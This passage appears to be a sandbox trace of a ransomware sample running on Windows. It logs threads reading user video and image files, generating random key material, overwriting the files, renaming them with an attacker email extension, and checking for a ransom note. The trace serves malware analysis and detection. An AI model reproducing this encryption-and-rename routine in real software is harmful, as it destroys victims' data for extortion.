(HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceb20 [0053.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb20) returned 1 [0053.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96a50d0) returned 1 [0053.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96988c8) returned 1 [0053.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aa38) returned 1 [0053.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0053.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x440e20 [0053.324] SetFilePointerEx (in: hFile=0xb44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.324] WriteFile (in: hFile=0xb44, lpBuffer=0x44d0d0*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0xf67fa44, lpOverlapped=0x0 | out: lpBuffer=0x44d0d0*, lpNumberOfBytesWritten=0xf67fa44*=0x117, lpOverlapped=0x0) returned 1 [0053.563] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d0d0) returned 1 [0053.563] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440e60) returned 1 [0053.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb20) returned 1 [0053.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440e20) returned 1 [0053.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceaf8) returned 1 [0053.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0538) returned 1 [0053.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05d8) returned 1 [0053.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0600) returned 1 [0053.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x44d038 [0053.564] wcscpy (in: _Dest=0x44d038, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf" [0053.564] wcscat (in: _Dest=0x44d038, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf.mailto[2Hamlampampom@cock.li].cd46d" [0053.564] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf67f9fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d538 [0054.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d538) returned 1 [0054.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e430) returned 1 [0054.053] NtQueryInformationFile (in: FileHandle=0xb44, IoStatusBlock=0xf67fa08, FileInformation=0xf67f9e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf67fa08, FileInformation=0xf67f9e0) returned 0x0 [0054.053] NtSetInformationFile (FileHandle=0xb44, IoStatusBlock=0xf67fa08, FileInformation=0xf67f9e0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.054] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d038) returned 1 [0054.054] FlushFileBuffers (hFile=0xb44) returned 1 [0054.086] CloseHandle (hObject=0xb44) returned 1 [0054.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b1e0 [0054.087] wcscpy (in: _Dest=0x43b1e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.087] wcscat (in: _Dest=0x43b1e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.087] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0054.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ed38) returned 1 Thread: id = 624 os_tid = 0x130 [0050.441] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_14b uceahpfb.mp4")) returned 0x20 [0050.441] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4", dwFileAttributes=0x20) returned 1 [0050.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_14b uceahpfb.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb48 [0050.442] GetFileSizeEx (in: hFile=0xb48, lpFileSize=0xf63ff08 | out: lpFileSize=0xf63ff08*=68968) returned 1 [0050.442] SetFilePointerEx (in: hFile=0xb48, liDistanceToMove=0x10d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.442] ReadFile (in: hFile=0xb48, lpBuffer=0xf63fe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf63fe88, lpOverlapped=0x0 | out: lpBuffer=0xf63fe8c*, lpNumberOfBytesRead=0xf63fe88*=0x4, lpOverlapped=0x0) returned 1 [0050.442] SetFilePointerEx (in: hFile=0xb48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d05b0 [0050.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0050.443] NtQuerySystemTime (in: CurrentTime=0xf63fe68 | out: CurrentTime=0xf63fe68*=132174898144272000) returned 0x0 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x30bada82 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x3adcdeb3 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x463c8314 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x5dfa3efc [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x4e5bbf96 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x11866207 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x72cd9ace [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x57f99821 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x322bc7ca [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x35c11f31 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x780c549f [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x67e97b28 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x6f81deed [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x5f85aae [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x7a3309b6 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x66510130 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x7f3003 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x4d3849e4 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x28de530a [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x71560e0 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x57e48e9e [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x1314ca72 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x12dca299 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x3f0ddd14 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x5abf2f42 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x57687f5c [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x5d62ecfc [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x5c785725 [0050.443] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0xea21cf2 [0050.444] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0xe832487 [0050.444] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x6dacbce5 [0050.444] RtlRandomEx (in: Seed=0xf63fe74 | out: Seed=0xf63fe74) returned 0x623336e [0050.455] SetFilePointerEx (in: hFile=0xb48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.455] ReadFile (in: hFile=0xb48, lpBuffer=0x96b18d8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf63fe48, lpOverlapped=0x0 | out: lpBuffer=0x96b18d8*, lpNumberOfBytesRead=0xf63fe48*=0xc800, lpOverlapped=0x0) returned 1 [0050.455] SetFilePointerEx (in: hFile=0xb48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402690 [0050.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43aab0 [0050.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0050.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96be0e0 [0050.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0050.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0628) returned 1 [0050.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aab0) returned 1 [0050.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402690) returned 1 [0050.471] WriteFile (in: hFile=0xb48, lpBuffer=0x96be0e0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf63fe48, lpOverlapped=0x0 | out: lpBuffer=0x96be0e0*, lpNumberOfBytesWritten=0xf63fe48*=0xc800, lpOverlapped=0x0) returned 1 [0053.328] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96be0e0) returned 1 [0053.328] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96b18d8) returned 1 [0053.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40ac98 [0053.328] SetFilePointerEx (in: hFile=0xb48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.328] WriteFile (in: hFile=0xb48, lpBuffer=0x44d1f0*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xf63fec8, lpOverlapped=0x0 | out: lpBuffer=0x44d1f0*, lpNumberOfBytesWritten=0xf63fec8*=0x113, lpOverlapped=0x0) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d1f0) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40acd0) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb48) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac98) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05b0) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0650) returned 1 [0053.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0678) returned 1 [0053.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02720 [0053.566] wcscpy (in: _Dest=0x5e02720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4" [0053.566] wcscat (in: _Dest=0x5e02720, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0053.566] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf63fe80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d610 [0054.031] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d610) returned 1 [0054.031] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e658) returned 1 [0054.031] NtQueryInformationFile (in: FileHandle=0xb48, IoStatusBlock=0xf63fe8c, FileInformation=0xf63fe64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf63fe8c, FileInformation=0xf63fe64) returned 0x0 [0054.031] NtSetInformationFile (FileHandle=0xb48, IoStatusBlock=0xf63fe8c, FileInformation=0xf63fe64, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02720) returned 1 [0054.033] FlushFileBuffers (hFile=0xb48) returned 1 [0054.063] CloseHandle (hObject=0xb48) returned 1 [0054.064] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b258 [0054.064] wcscpy (in: _Dest=0x43b258, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.064] wcscat (in: _Dest=0x43b258, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.064] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.064] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0054.064] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 Thread: id = 625 os_tid = 0x848 [0050.471] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\06i383pacht dkw.bmp")) returned 0x20 [0050.472] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp", dwFileAttributes=0x20) returned 1 [0050.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\06i383pacht dkw.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb4c [0050.473] GetFileSizeEx (in: hFile=0xb4c, lpFileSize=0x5a9ff18 | out: lpFileSize=0x5a9ff18*=34334) returned 1 [0050.473] SetFilePointerEx (in: hFile=0xb4c, liDistanceToMove=0x861a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.473] ReadFile (in: hFile=0xb4c, lpBuffer=0x5a9fe9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5a9fe98, lpOverlapped=0x0 | out: lpBuffer=0x5a9fe9c*, lpNumberOfBytesRead=0x5a9fe98*=0x4, lpOverlapped=0x0) returned 1 [0050.474] SetFilePointerEx (in: hFile=0xb4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0050.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06a0 [0050.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0050.474] NtQuerySystemTime (in: CurrentTime=0x5a9fe78 | out: CurrentTime=0x5a9fe78*=132174898144584000) returned 0x0 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x515ec508 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0xe52c843 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x5785f48c [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x4264695f [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0xaef5aca [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x5a2a92e [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x321d7f27 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x14899f87 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x3133f3d8 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x21a7cfba [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x5f8217e8 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x736fb4d0 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x223364ab [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x49dab79a [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x6f9b1e67 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0xf220c85 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x1e61971b [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x6626294 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x7ac76e43 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x2e141504 [0050.474] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x6a48e724 [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0xaa03d4e [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x646791fe [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x12c5784f [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x6cea55f4 [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x73834274 [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x2e2a9f7 [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x7ec5497e [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x5796c07 [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x49ec5a0b [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x2f51f88c [0050.475] RtlRandomEx (in: Seed=0x5a9fe84 | out: Seed=0x5a9fe84) returned 0x71fb3dea [0050.487] ReadFile (in: hFile=0xb4c, lpBuffer=0x96ca8e8, nNumberOfBytesToRead=0x861e, lpNumberOfBytesRead=0x5a9fe74, lpOverlapped=0x0 | out: lpBuffer=0x96ca8e8*, lpNumberOfBytesRead=0x5a9fe74*=0x861e, lpOverlapped=0x0) returned 1 [0050.488] SetFilePointerEx (in: hFile=0xb4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.488] WriteFile (in: hFile=0xb4c, lpBuffer=0x96d70f0*, nNumberOfBytesToWrite=0x861e, lpNumberOfBytesWritten=0x5a9fe70, lpOverlapped=0x0 | out: lpBuffer=0x96d70f0*, lpNumberOfBytesWritten=0x5a9fe70*=0x861e, lpOverlapped=0x0) returned 1 [0053.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceb70 [0053.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceb98 [0053.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb98) returned 1 [0053.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96d70f0) returned 1 [0053.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96ca8e8) returned 1 [0053.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aab0) returned 1 [0053.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402690) returned 1 [0053.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x440ea0 [0053.331] SetFilePointerEx (in: hFile=0xb4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.331] WriteFile (in: hFile=0xb4c, lpBuffer=0x44d310*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x5a9fed8, lpOverlapped=0x0 | out: lpBuffer=0x44d310*, lpNumberOfBytesWritten=0x5a9fed8*=0x117, lpOverlapped=0x0) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d310) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ee0) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb98) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ea0) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06a0) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06f0) returned 1 [0053.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0718) returned 1 [0053.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d6e8 [0053.567] wcscpy (in: _Dest=0x40d6e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp" [0053.567] wcscat (in: _Dest=0x40d6e8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.567] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5a9fe90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\06I383pAChT dKW.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x44d100 [0054.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d100) returned 1 [0054.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e880) returned 1 [0054.602] NtQueryInformationFile (in: FileHandle=0xb4c, IoStatusBlock=0x5a9fe9c, FileInformation=0x5a9fe74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5a9fe9c, 